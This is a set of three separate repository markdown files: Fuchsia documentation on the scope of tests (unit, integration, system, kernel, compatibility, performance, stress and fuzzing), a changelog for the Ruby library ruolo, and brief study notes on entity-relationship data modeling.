As you write tests for Fuchsia, you want to make sure that you are familiarized
with the [testing principles][testing-principles] and the
[best practices][best-practices] for writing tests.

## Scope of tests {#scope-of-tests}

Tests at different scope complement each other’s strengths and weaknesses. A
good mix of tests can create a great testing plan that allows developers to make
changes with confidence and catches real bugs quickly and efficiently.

When considering what kind of tests to write and how many of each, imagine tests
arranged as a pyramid:

![A pyramid illustration with unit tests at the broad base, integration tests at the middle, and system tests at the narrow tip](testing_pyramid.png)

Many software testing publications advocate for a mix of 70% unit tests, 20%
integration tests, 10% system tests. Fuchsia recommends investing more in
integration testing at the expense of other types of testing for the following
reasons:

- Fuchsia emphasizes componentization of software. Applications and systems on
  Fuchsia tend to exercise the boundaries between components very extensively.
  Therefore we recommend that you test those boundaries.
- Fuchsia’s Component Framework makes it possible, sometimes easy, to reuse
  production components in tests, which lowers the cost of developing
  integration tests.
- Fuchsia’s testing runtime offers the same level of isolation for integration
  tests as it does for unit tests, making integration testing as reliable.
- Communication between components is orders of magnitude slower than a direct
  method call, but still pretty fast. Integration tests typically don’t run
  slower than unit tests to an extent that is perceptible by a human developer.
- There already exist many integration tests on Fuchsia that serve as useful
  examples.

For more information on the various tests from the testing pyramid in Fuchsia:

* [Unit tests](#unit-tests)
* [Integration tests](#integration-tests)
* [System tests](#system-tests)

There are also specialized tests that fall outside of the testing pyramid.
For more information, see [specialized testing](#specialized-testing).

See also:

- [The Practical Test Pyramid][practical-test-pyramid]{:.external}

### Unit tests {#unit-tests}

On Fuchsia, tests that are fully defined in a single component are called unit
tests.

Unit tests can run in an isolated [realm][glossary.realm] that serves as their
sandbox. This keeps tests from acquiring unexpected capabilities, from being
influenced by system state outside the intended scope of the test, and from
influencing other tests that are running in parallel or in sequence on the same
device.

Unit tests are controlled by direct invocations of code within the body of the
test. For instance,
[`audio_effects_example_tests.cc`][audio-effects-example-tests] exercises code
in a loadable module that implements audio effects and validates that the code
works.

In a healthy [testing pyramid](#scope-of-tests), unit tests are the broad base
for testing because unit tests offer the highest degree of isolation and are the
fastest tests, which in turn produces very reliable and useful positive signals
(tests pass) and negative signals (the test failed with an actionable error
indicating a real defect). Unit tests also produce the most actionable
[test coverage][test-coverage] information, and enjoy other fringe benefits such
as when run in combination with [sanitizers]. Therefore any testing needs that
can be met with unit tests should be met with unit tests.

A unit test is said to be hermetic if only the contents of the test’s package
influence whether the test passes or fails.

See also:

- [Testing with Components][testing-v2]
- [Run a test component][run-test-component]
- [Test package GN templates][test-package-gn]

### Integration tests {#integration-tests}

On Fuchsia, tests that span multiple components that are delivered in a single
test package are called integration tests.

In a healthy [testing pyramid](#scope-of-tests), integration tests are the next
most common types of tests after unit tests. Integration tests on Fuchsia are
typically fast, though not as fast as unit tests. Integration tests on Fuchsia
are isolated from outside effects from the rest of the system, same as unit
tests. Integration tests are more complex than unit tests to define and drive.
Therefore any testing needs that can’t be met with unit tests but can be met
with integration tests should be met with integration tests.

Integration testing has an outsized role on Fuchsia compared to other platforms.
This is because Fuchsia encourages software developers to decompose their code
into multiple components in order to meet the platform’s
[security][principles-secure] and [updatability][principles-updatable] goals,
and then offers robust inter-component communication mechanisms such as
[channels][channel] and [FIDL].

In an integration test, an isolated [realm][glossary.realm] is created similarly
to a unit test, but then multiple components are staged in that realm and
interact with each other. The test is driven by one of the components in the
test realm, which also determines whether the test passed or failed and provides
additional diagnostics. For instance, the
[font server integration tests][fonts-tests-integration] test a font resolver
component that exposes the
[`fuchsia.pkg.FontResolver`][fuchsia.pkg.fontresolver] FIDL protocol as a
[protocol capability][capabilities-protocol], and then validate that component
by invoking the methods in its contract with clients and validating expected
responses and state transitions.

Integration tests are controlled by the test driver. The test driver sets up
one or more components under test, exercises them, and observes the outcomes
such as by querying the state of those components using their supported
interfaces and other contracts.

Within the test realm, standard
[capability routing][glossary.capability-routing] works exactly the same way as
it does in any other realm. In test realms, capability routing is often used as
a mechanism for [dependency injection][dependency-injection]{:.external}. For
instance a component under test that has a dependency on a capability provided
by another component that’s outside the test scope may be tested against a
different component (a “test double”), or against a separate instance of the
production component that is running in isolation inside the test realm.

An integration test is said to be hermetic if only the contents of the test’s
package influence whether the test passes or fails.

See also:

- [Complex topologies and integration testing][testing-integration]: How to
  statically define a test realm with multiple components and route capabilities
  between them.
- [Realm builder][realm-builder]: An integration testing helper library for
  runtime construction of test realms and mocking components in individual test
  cases.

### System tests {#system-tests}

On Fuchsia, tests that aren’t scoped to the contents of a single package and of
one or more components contained within are called system tests. The scope of
such tests is not strictly defined in terms of components or packages, and may
span up to and including the entire system as built in a given configuration.

System tests are sometimes referred to as Critical User Journey (CUJ) tests or
End-To-End (E2E) tests. Some might say that such tests are E2E if the scope is
even greater than a single Fuchsia device, for instance when testing against a
remote server or when testing in the presence of specific wifi access points or
other connected hardware.

In a healthy [testing pyramid](#scope-of-tests), system tests are the narrow
tip of the pyramid, indicating that there are fewer system tests than there are
tests in other scopes. System tests are typically far slower than unit tests
and integration tests because they exercise more code and have more
dependencies, many of which are implicitly defined rather than explicitly
stated. System tests don’t offer an intrinsic degree of isolation and are
subject to more side effects or unanticipated interference, and as a result they
are typically less reliable than other types of tests. Because the scope of code
that’s exercised by system tests is undefined,
[Fuchsia’s CI/CQ doesn’t collect test coverage from E2E tests][coverage-no-e2e]
(collecting coverage would yield unstable or flaky results).
[E2E configurations are not supported by sanitizers][sanitizers-supported-configs]
for similar reasons. For this reason you should write system tests when their
marginal benefits cannot be gained by unit tests or integration tests.

## Additional testing {#specialized-testing}

There are various specialized tests in Fuchsia:

* [Kernel tests](#kernel-tests)
* [Compatibility tests](#compatibility-tests)
* [Performance tests](#performance-tests)
* [Stress and longetivity tests](#stress-longetivity-tests)
* [Fuzzing](#fuzzing)

### Kernel tests

Testing the kernel deserves special attention because of the unique requirements
and constraints that are involved. Tests for the kernel cover the kernel’s
surface: [system calls][syscalls], kernel mechanics such as handle rights or
signaling objects, the [vDSO] ABI, and [userspace bootstrapping][userboot], as
well as any important implementation details.

Most tests for the kernel run in user space and test the kernel APIs from the
outside. These are called [core usermode tests][utest-core]. For instance,
[`TimersTest`][timers-test] tests the kernel’s timer APIs. These tests are more
difficult to write than regular tests: only certain programming languages are
supported, there are weaker isolation boundaries between tests, tests can’t run
in parallel, it’s not possible to update the tests without rebooting and
repaving, and other constraints and limitations apply. These tradeoffs allow the
tests to make fewer assumptions about their runtime environment, which means
that they’re runnable even in the most basic build configurations
([bringup builds][build-bringup]) without the component framework or advanced
network features. These tests are built into the
[Zircon Boot Image (ZBI)][glossary.zbi]. It’s possible to run these tests such
that no other programs run in usermode, which helps isolate kernel bugs.

Some kernel behaviors cannot be tested from the outside, so they’re tested with
code that compiles into the kernel image and runs in kernelspace. These tests
are even more difficult to write and to troubleshoot, but have the most access
to kernel internals, and can be run even when userspace bootstrapping is broken.
This is sometimes necessary for testing. For instance,
[`timer_tests.cc`][timer-tests] tests timer deadlines, which cannot be tested
precisely just by exercising kernel APIs from userspace because the kernel
reserves some [slack][timer-slack] in how it may coalesce timers set from
userspace.

### Compatibility tests

Compatibility tests, sometimes known as conformance tests, extend the notion of
correctness to meeting a given specification and complying with it over time. A
compatibility test is expressed in certain contractual terms and can be run
against more than one implementation of that contract, to ensure that any number
of implementations are compatible.

For example:

- The [Compatibility Tests for Fuchsia (CTF)][ctf] are tests that validate
  Fuchsia’s system interface. CTF tests can run against different versions of
  Fuchsia, to ensure that they remain in compatibility or to detect breaking
  changes. In the fullness of time, CTF tests will cover the entirety of the
  surface of the Fuchsia SDK.
- [FIDL] uses a specific binary format (or [wire format][fidl-wire-format]) to
  encode FIDL messages that are exchanged between components over channels. FIDL
  client-side and server-side bindings and libraries exist in many languages
  such as C, C++, Rust, Dart, and Go. The
  [FIDL compatibility tests][fidl-compatibility-tests] and
  [Golden FIDL (GIDL)][gidl] tests ensure that the different implementations are
  binary-compatible, so that client and servers can talk to each other correctly
  and consistently regardless of their developer’s choice of programming
  language.
- [Fuchsia Inspect][inspect] uses a [certain binary format][inspect-vmo-format]
  to encode diagnostics information. Inspect is offered in
  [multiple languages][inspect-codelab] and the underlying binary format
  [may change over time][inspect-vmo-format-update].
  [Inspect validator tests][inspect-validator] ensure binary-compatibility
  between all reader/writer implementations.

### Performance tests

Performance tests exercise a certain workload, such as a synthetic benchmark or
a CUJ, and measure performance metrics such as time to completion or resource
usage during the test.

A performance test may ensure that a certain threshold is met (for instance
frames render at a consistent rate of 60 FPS), or they may simply collect the
performance information and present it as their result.

For instance:

- Many performance tests and performance testing utilities can be found in the
  [end-to-end performance tests directory][e2e-perf]. These cover a range of
  targets such as kernel boot time, touch input latency, Flutter rendering performance,
  and various micro-benchmarks for performance-sensitive code.
- [CPU Performance Monitoring][cpuperf] makes CPU performance counters available
  for high-frequency low-overhead performance testing.
- [Perfcompare] is a framework for comparing the results of a given benchmark
  before and after a given change. It’s useful for measuring performance
  improvements or regressions.
- [FIDL benchmarks][fidl-benchmarks] have various-sized benchmarks for FIDL
  generated code.
- [Netstack benchmarks][netstack-benchmarks] test the network stack’s
  performance using micro-benchmarks for hot code.

### Stress and longevity tests

Stress tests exercise a system in ways that amount to exceptionally high load,
but are otherwise expected within the system's contract. Their goal is to
demonstrate the system's resilience to stress, or to expose bugs that only
happen under stress.

In a stress test, the the system under test is isolated from the test workload
components. Test workload components can do whatever they wish, including
crashing without bringing down the system under test.

For instance, the [minfs stress tests][minfs-stress] performs many operations on
a [MinFS partition][minfs] in repetition. The test can verify that the
operations succeed, that their outcomes are observed as expected, and that MinFS
doesn’t crash or otherwise exhibit errors such as filesystem corruption.

Tests that intentionally exercise a system for a long duration of time are a
type of stress test known as a longevity test. In a longevity test, the span of
time is intrinsic to the load or stress on the system. For instance a test where
a system goes through a user journey 10,000 times successfully is a stress test,
whereas a test where a system goes through the same user journey in a loop for
20 hours and remains correct and responsive is also a longevity test.

See also:

- [Stress tests][stress-tests]
- [Rust stress test library][rust-stress-test-lib]

### Fuzzing

Fuzzers are programs that attempt to produce valid interactions with the code
under test that will result in an erroneous condition, such as a crash. Fuzzing
is directed by pseudorandom behavior, or sometimes through instrumentation
(seeking inputs that cover new code paths) or other informed strategies such as
pregenerated dictionaries or machine learning.

Experience has shown that fuzzers can find unique, high-severity bugs. For
instance [`reader_fuzzer.cc`][reader-fuzzer] found bugs in Inspect reader code
that would result in a crash at runtime, even though this code was already
subjected to extensive testing and sanitizers.

See also:

- [Fuzzing in Fuchsia][fuzzing]

[best-practices]: /docs/contribute/testing/best-practices.md
[testing-principles]: /docs/contribute/testing/principles.md
[audio-effects-example-tests]: /src/media/audio/examples/effects/test/audio_effects_example_tests.cc
[build-bringup]: /docs/development/build/build_system/bringup.md
[capabilities-protocol]: /docs/concepts/components/v2/capabilities/protocol.md
[cf]: /docs/concepts/components/v2/README.md
[cf-capabilities]: /docs/concepts/components/v2/capabilities/README.md
[cf-manifests]: /docs/concepts/components/v2/component_manifests.md
[channel]: /docs/reference/kernel_objects/channel.md
[continuous-integration]: https://martinfowler.com/articles/continuousIntegration.html
[contract-test]: https://martinfowler.com/bliki/ContractTest.html
[coverage-no-e2e]: /docs/contribute/testing/coverage.md#end-to-end_e2e_tests_exclusion
[cpuperf]: /src/performance/cpuperf/README.md
[ctf]: /sdk/ctf/README.md
[dependency-injection]: https://en.m.wikipedia.org/wiki/Dependency_injection
[e2e-perf]: /src/tests/end_to_end/perf/README.md
[fidl]: /docs/concepts/fidl/overview.md
[fidl-benchmarks]: /src/tests/benchmarks/fidl/benchmark_suite/
[fidl-compatibility-tests]: /src/tests/fidl/compatibility/README.md
[fidl-wire-format]: /docs/reference/fidl/language/wire-format
[fonts-tests-integration]: /src/fonts/tests/integration/README.md
[fsi]: /docs/concepts/packages/system.md
[fuchsia.pkg.fontresolver]: https://fuchsia.dev/reference/fidl/fuchsia.pkg#FontResolver
[fuzzing]: /docs/development/testing/fuzzing/overview.md
[gidl]: /tools/fidl/gidl/README.md
[glossary.capability-routing]: /docs/glossary/README.md#capability-routing
[glossary.realm]: /docs/glossary/README.md#realm
[glossary.zbi]: /docs/glossary/README.md#zircon-boot-image
[inspect]: /docs/development/diagnostics/inspect/README.md
[inspect-codelab]: /docs/development/diagnostics/inspect/codelab/codelab.md
[inspect-validator]: /docs/reference/diagnostics/inspect/validator/README.md
[inspect-vmo-format]: /docs/reference/platform-spec/diagnostics/inspect-vmo-format.md
[inspect-vmo-format-update]: /docs/reference/diagnostics/inspect/updating-vmo-format.md
[minfs]: /docs/concepts/filesystems/minfs.md
[minfs-stress]: /src/storage/stress-tests/minfs/
[multi-repo-dev]: https://testing.googleblog.com/2015/05/multi-repository-development.html
[netstack-benchmarks]: /src/connectivity/network/tests/benchmarks/README.md
[netstack3-roadmap]: /docs/contribute/roadmap/2021/netstack3.md
[perfcompare]: /src/testing/perfcompare/README.md
[practical-test-pyramid]: https://martinfowler.com/articles/practical-test-pyramid.html
[principles]: /docs/concepts/index.md
[principles-inclusive]: /docs/concepts/principles/inclusive.md
[principles-pragmatic]: /docs/concepts/principles/pragmatic.md
[principles-secure]: /docs/concepts/principles/secure.md
[principles-updatable]: /docs/concepts/principles/updatable.md
[reader-fuzzer]: /zircon/system/ulib/inspect/tests/reader_fuzzer.cc
[realm-builder]: /docs/development/testing/components/realm_builder.md
[run-test-component]: /docs/development/run/run-test-component.md
[rust-stress-test-lib]: /docs/development/testing/rust_stress_test_library.md
[sanitizers]: /docs/contribute/testing/sanitizers.md
[sanitizers-supported-configs]: /docs/contribute/testing/sanitizers.md#supported_configurations
[stress-tests]: /docs/development/testing/stress_tests.md
[syscalls]: /docs/reference/syscalls/README.md
[test-coverage]: /docs/contribute/testing/coverage.md
[test-package-gn]: /docs/development/components/build.md#test-packages
[testing-integration]: /docs/development/testing/components/integration_testing.md
[testing-v2]: /docs/development/testing/components/README.md
[timer-slack]: /docs/concepts/kernel/timer_slack.md
[timer-tests]: /zircon/kernel/tests/timer_tests.cc
[timers-test]: https://fuchsia.googlesource.com/fuchsia/+/main/src/zircon/tests/timers/timers.cc
[userboot]: /docs/concepts/process/userboot.md
[utest-core]: /zircon/system/utest/core/README.md
[vdso]: /docs/concepts/kernel/vdso.md
[wikipedia-dependency-injection]: https://en.m.wikipedia.org/wiki/Dependency_injection

repository: gnoliyil/fuchsia

repo_name: gnoliyil/fuchsia


text:
# Ruolo Change Log

This file keeps track of changes between releases for the ruolo project
which adheres to [semantic versioning](https://semver.org).

## unreleased

**BREAKING:** Drop support for Ruby <2.6.

## v0.4.1 2020-10-04

Correct sample database constraints to remove a useless regular expression
escape.

## v0.4.0 2020-03-27

Add `set_roles` method to the user mixin to synchronize desired roles for an
individual user.

## v0.3.0 2019-10-08

Add a `role?` method to the user mixin to check for given roles instead of
permissions.

## v0.2.0 2019-09-11

Initial cleanup of original code: add tests and documentation.

* Drop support for ruby 2.4.x.

## v0.1.0 2019-08-25

Initial release.

repository: mfinelli/ruolo

repo_name: mfinelli/ruolo


text:
# Data Modeling

+ Businesses assume the creation and manipulation of data.
+ Data = corporte wide resource: transctional data, oricess data, external data.
+ Data = value
+ The types of data used within an organization does not change much.
+ Data has certain inherent properties.
+ If we structure data according to their inherent properties, the structure (i.e models will be stable)
+ Data @ the core of database technologies.

## ERD
*entity-relationship diagram*
+ invented by Peter Chen 1976
    + A conceptual / logical data modeling tool
    + A user-oriented approach
    + A graphic-based method

### Entity
An entitiy is an object / phenomenon, real or abstract about which we would like to store data.

An entity is described by a set of atributes
How to select entities ?
Information required by your buisness process.
Things that are of interest to the business that need to be remembered in order or manage and track them.

### Relationship
+ A relationship type is an association between two entities.
+ Relationship membership is the participation of an entity in a relationship.
+ A relationship can involve only two entities.

#### Relationship cardinality
+ One-to-One 1:1

*Countries - Capital cities*
+ One-to-Many 1:M

*Books - Pages*
+ Many-to-Many M:N

*Authors - Books*

#### Crow foot notation
```mermaid
erDiagram
    CUSTOMER ||--o{ ORDER : A
    ORDER ||--|{ LINE-ITEM : B
    CUSTOMER }|--|{ DELIVERY-ADDRESS : C
```

##### Legend:
**A:**
+ A customer has 0 or more orders. (modeled next to the order)
+ An order has at least and at most 1 customer (modeled next to the customer)

**B:**
+ An order has least one or more line Items.
+ a line item has at least and at most 1 order.

**C:**
+ A delivery address has at least 1 or more customers. (two customers live at the same address)
+ A customer has one or more addresses. (two different homes)

#### Many-To-Many Relationships - Junction table:
If you want to have a many to many relationship you need an extra table

For example:
If you want to have a relationship between table 1 and table 2:

| primary key | foreign key (table 1) | foreign key (table 2) |
| ----------- | --------------------- | --------------------- |
|      1      |           30          |          40           |

Notations:
+ Crow's Foot
+ Chen notation
+ Bachman
+ Min-Max
+ UML

repository: mart-postma/bytehub

repo_name: mart-postma/bytehub